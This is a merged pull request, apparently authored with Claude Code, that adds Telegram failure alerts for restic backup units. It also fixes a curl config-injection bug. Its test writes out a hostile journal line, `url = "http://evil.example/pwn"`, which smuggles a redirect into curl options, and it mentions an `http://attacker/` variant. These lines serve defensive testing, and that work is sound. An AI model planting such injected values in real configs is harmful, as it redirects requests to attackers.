coilyco-flight-deck/infrastructure

Watch

feat(restic): alert to Telegram when either restic unit fails (#917) #921

Merged

coilyco-ops merged 2 commits from ops/917-restic-failure-alert into main

2026-08-25 05:36:29 +00:00

coilyco-ops commented

2026-08-25 05:30:14 +00:00

Owner

Closes what is left of #917 after the correction: the gap and the retention policy in that title were both already resolved, and failure surfacing was the real finding.

The gap this fills

Neither restic-backup.service nor restic-prune.service carried an OnFailure=, and nothing else watched them. Verified by grep: there was no OnFailure= anywhere in systemd/ before this, so this also sets the pattern for the next unit that needs one.

A backup that silently does not run is worse than one that errors. The only reason that had not bitten is that it had not failed yet.

Shape

Both units now target restic-failure-alert@%n.service. %n expands to the failing unit's own name, so one templated handler serves both hosts and the alert names the unit that actually failed.

The handler posts the unit, its Result and ExecMainStatus, and the tail of its journal to the Telegram red channel.

Three decisions worth stating:

It always exits zero. An alerter that failed loudly would mask the failure it was called to report, and systemd would only record a second failure nobody is watching either. When it cannot send, it writes to its own journal and stops.
The bot token reaches curl through a stdin config, not argv. The nearest exemplar, kai-disk-pressure-watch, puts the token in the URL. That is one of the cases #848 tracks, so this deliberately does not copy it.
No second copy of the Telegram secret. These are system units running as root, and the o11y-telegram role already stages the token into the login user's fleet-o11y cache. Root reads it there. The directory differs per host, so it is a role default rather than something the script guesses.

Installed from the shared part of the role, because restic-backup fails on kai-server and restic-prune fails on ser8.

Verification

pre-commit run --all-files green, shellcheck and ansible-lint included.

just ansible-sync check fleet privileged tags=restic-backup reports exactly three changes on ser8, all expected:

restic-backup : Install the shared restic failure-alert helper
restic-backup : Install the restic failure-alert unit template
restic-backup : Install the rest-server and prune systemd units   <- prune picks up OnFailure=

Nothing else moves.

kai-server needs an attended run

kai-server fails check mode with Missing sudo password, which is environmental rather than anything about this change. ser8 has passwordless sudo and converges clean.

So the rollout is split:

just ansible-sync apply fleet privileged tags=restic-backup hosts=ser8
just ansible-sync apply fleet privileged tags=restic-backup hosts=kai-server ask_pass

The second needs Kai at a prompt. Until it runs, restic-prune on ser8 is covered and restic-backup on kai-server is not.

Worth testing once after rollout with systemd-run against a deliberately failing transient unit, or by confirming the next real failure alerts. An untested alerter is the same hypothesis an untested backup is.

🤖 Generated with Claude Code

Closes what is left of #917 after the correction: the gap and the retention policy in that title were both already resolved, and failure surfacing was the real finding. ## The gap this fills Neither `restic-backup.service` nor `restic-prune.service` carried an `OnFailure=`, and nothing else watched them. Verified by grep: there was no `OnFailure=` anywhere in `systemd/` before this, so this also sets the pattern for the next unit that needs one. A backup that silently does not run is worse than one that errors. The only reason that had not bitten is that it had not failed yet. ## Shape Both units now target `restic-failure-alert@%n.service`. `%n` expands to the failing unit's own name, so one templated handler serves both hosts and the alert names the unit that actually failed. The handler posts the unit, its `Result` and `ExecMainStatus`, and the tail of its journal to the Telegram red channel. Three decisions worth stating: * **It always exits zero.** An alerter that failed loudly would mask the failure it was called to report, and systemd would only record a second failure nobody is watching either. When it cannot send, it writes to its own journal and stops. * **The bot token reaches curl through a stdin config, not argv.** The nearest exemplar, `kai-disk-pressure-watch`, puts the token in the URL. That is one of the cases #848 tracks, so this deliberately does not copy it. * **No second copy of the Telegram secret.** These are system units running as root, and the `o11y-telegram` role already stages the token into the login user's `fleet-o11y` cache. Root reads it there. The directory differs per host, so it is a role default rather than something the script guesses. Installed from the shared part of the role, because `restic-backup` fails on `kai-server` and `restic-prune` fails on `ser8`. ## Verification `pre-commit run --all-files` green, shellcheck and ansible-lint included. `just ansible-sync check fleet privileged tags=restic-backup` reports exactly three changes on ser8, all expected: ``` restic-backup : Install the shared restic failure-alert helper restic-backup : Install the restic failure-alert unit template restic-backup : Install the rest-server and prune systemd units <- prune picks up OnFailure= ``` Nothing else moves. ## kai-server needs an attended run kai-server fails check mode with `Missing sudo password`, which is environmental rather than anything about this change. ser8 has passwordless sudo and converges clean. So the rollout is split: ``` just ansible-sync apply fleet privileged tags=restic-backup hosts=ser8 just ansible-sync apply fleet privileged tags=restic-backup hosts=kai-server ask_pass ``` The second needs Kai at a prompt. Until it runs, `restic-prune` on ser8 is covered and `restic-backup` on kai-server is not. Worth testing once after rollout with `systemd-run` against a deliberately failing transient unit, or by confirming the next real failure alerts. An untested alerter is the same hypothesis an untested backup is. 🤖 Generated with [Claude Code](https://claude.com/claude-code)

coilyco-ops added 1 commit

2026-08-25 05:30:14 +00:00

feat(restic): alert to Telegram when either restic unit fails (#917 )

TruffleHog / Scan for secrets (pull_request) Successful in 4s

Details

CI / lint (pull_request) Successful in 42s

Details

a91d26fd2f

Neither restic-backup.service nor restic-prune.service carried an
OnFailure=, and nothing else watched them. A backup that silently does
not run is worse than one that errors, and the only reason that had not
bitten is that it had not failed yet. There was no OnFailure= anywhere in
systemd/ before this, so it also sets the pattern.

Both units now target restic-failure-alert@%n.service. %n expands to the
failing unit's own name, so one templated handler serves both and the
alert names the unit that actually failed.

The handler posts the unit, its Result and ExecMainStatus, and the tail
of its journal to the Telegram red channel. It reads the bot token and
chat id from the fleet-o11y cache the o11y-telegram role already stages.
These are system units running as root, so root reads that cache out of
the login user's home rather than needing a second staged copy, which is
why the directory is a per-host role default.

It always exits zero. An alerter that failed loudly would mask the
failure it was called to report, and systemd would only record a second
failure nobody watches either.

The bot token reaches curl through a stdin config rather than argv, where
ps would expose it. The nearest exemplar, kai-disk-pressure-watch, puts
it in the URL; that is one of the cases #848 tracks, so this does not
copy it.

Installed on both hosts from the shared part of the role, since
restic-backup fails on kai-server and restic-prune fails on ser8.

Checked with `just ansible-sync check fleet privileged tags=restic-backup`.
ser8 reports exactly three changes: the helper, the unit template, and
restic-prune.service picking up OnFailure=. kai-server cannot be checked
unattended, because sudo there needs a password.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Co-authored-by: Kai Siren <coilysiren@gmail.com>
Co-authored-by: Claude <noreply@anthropic.com>
Agent-Role: sysadmin

coilyco-ops added 1 commit

2026-08-25 05:35:15 +00:00

fix(restic): keep journal text out of curl's config parser

CI / lint (pull_request) Successful in 40s

Details

TruffleHog / Scan for secrets (pull_request) Successful in 6s

Details

11bfc99936

Caught by automated review on the previous commit, and it was worse than
a security finding: the alerter would have sent nothing at all.

curl reads -K line by line. The journal text was spliced into that config
as a quoted value, and it always contains newlines, so every send would
have failed with "option -K: error encountered when reading a file"
before any request left the host. An alerter that silently does not
alert is precisely the failure this was built to prevent.

Quotes in journal output made it a config-injection vector too. A line
shaped like `url = "http://..."` would have been parsed as a curl option
rather than as message text.

Only the token and chat id, both trusted and single-line, go through the
stdin config now. The journal text moves to argv, where curl treats it as
opaque data and URL-encodes it. The token stays out of argv, which was
the reason for the config in the first place.

Also cap the body at 3500 characters, since Telegram rejects a
sendMessage over 4096 and a crashing unit produces far more.

Verified by running the script against a local sink with a hostile
journalctl on PATH emitting `url = "http://evil.example/pwn"`. The POST
goes to the real sendMessage endpoint, the hostile line arrives as
URL-encoded body text, and nothing reaches evil.example.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Co-authored-by: Kai Siren <coilysiren@gmail.com>
Co-authored-by: Claude <noreply@anthropic.com>
Agent-Role: sysadmin

coilyco-ops commented

2026-08-25 05:35:39 +00:00

Author

Owner

Automated review flagged a curl config injection in the first commit. It was right, and the impact was larger than injection: the alerter would have sent nothing at all.

curl parses a -K config line by line. The journal text was spliced in as a quoted value and journal output always contains newlines, so every send would have died at parse time:

$ printf 'url = "..."\ndata-urlencode = "text=%s"\n' "$multiline_body" | curl -fsS -K -
curl: option -K: error encountered when reading a file

Before any request left the host. An alerter that silently does not alert is exactly the failure this PR exists to prevent, so this was a functional bug wearing a security bug's clothes.

The quote handling was a real injection vector on top of that. A journal line shaped like url = "http://attacker/" would have been read as a curl option rather than message text.

Fix

Only the token and chat id go through the stdin config now. Both are trusted and single-line. The journal text moves to argv, where curl treats it as opaque data and URL-encodes it. The token stays out of argv, which was the whole reason for the config.

Body is also capped at 3500 characters, since Telegram rejects a sendMessage over 4096 and a crashing unit produces far more.

Verified against the real script

Ran it against a local sink with a hostile journalctl on PATH emitting url = "http://evil.example/pwn":

POST /botFAKE-TOKEN-123/sendMessage
chat_id=999999&text=...%0Aurl+%3D+%22http%3A%2F%2Fevil.example%2Fpwn%22%0A...

The POST goes to the real endpoint, the hostile line arrives as URL-encoded body text, and zero requests reached evil.example. Same test on the pre-fix shape fails at the curl config parser without sending.

The long explanation moved to docs/restic-backups.md to satisfy the comment-discipline cap, which is the right home for it anyway.

Automated review flagged a curl config injection in the first commit. It was right, and the impact was larger than injection: **the alerter would have sent nothing at all.** curl parses a `-K` config line by line. The journal text was spliced in as a quoted value and journal output always contains newlines, so every send would have died at parse time: ``` $ printf 'url = "..."\ndata-urlencode = "text=%s"\n' "$multiline_body" | curl -fsS -K - curl: option -K: error encountered when reading a file ``` Before any request left the host. An alerter that silently does not alert is exactly the failure this PR exists to prevent, so this was a functional bug wearing a security bug's clothes. The quote handling was a real injection vector on top of that. A journal line shaped like `url = "http://attacker/"` would have been read as a curl option rather than message text. ## Fix Only the token and chat id go through the stdin config now. Both are trusted and single-line. The journal text moves to argv, where curl treats it as opaque data and URL-encodes it. The token stays out of argv, which was the whole reason for the config. Body is also capped at 3500 characters, since Telegram rejects a `sendMessage` over 4096 and a crashing unit produces far more. ## Verified against the real script Ran it against a local sink with a hostile `journalctl` on PATH emitting `url = "http://evil.example/pwn"`: ``` POST /botFAKE-TOKEN-123/sendMessage chat_id=999999&text=...%0Aurl+%3D+%22http%3A%2F%2Fevil.example%2Fpwn%22%0A... ``` The POST goes to the real endpoint, the hostile line arrives as URL-encoded body text, and zero requests reached `evil.example`. Same test on the pre-fix shape fails at the curl config parser without sending. The long explanation moved to `docs/restic-backups.md` to satisfy the comment-discipline cap, which is the right home for it anyway.

coilyco-ops merged commit cdf627c4e3 into main

2026-08-25 05:36:29 +00:00

coilyco-ops referenced this pull request from a commit

2026-08-25 05:36:30 +00:00

feat(restic): alert to Telegram when either restic unit fails (#917) (#921)

coilyco-ops referenced this pull request

2026-08-25 05:39:29 +00:00

fix(restic): use %N so the alert unit is not named .service.service #922

coilyco-ops referenced this pull request

2026-08-25 05:46:01 +00:00

DNSConfigForming nameserver-limit warnings are the bulk of standing event noise on kai-server #864

coilyco-ops referenced this pull request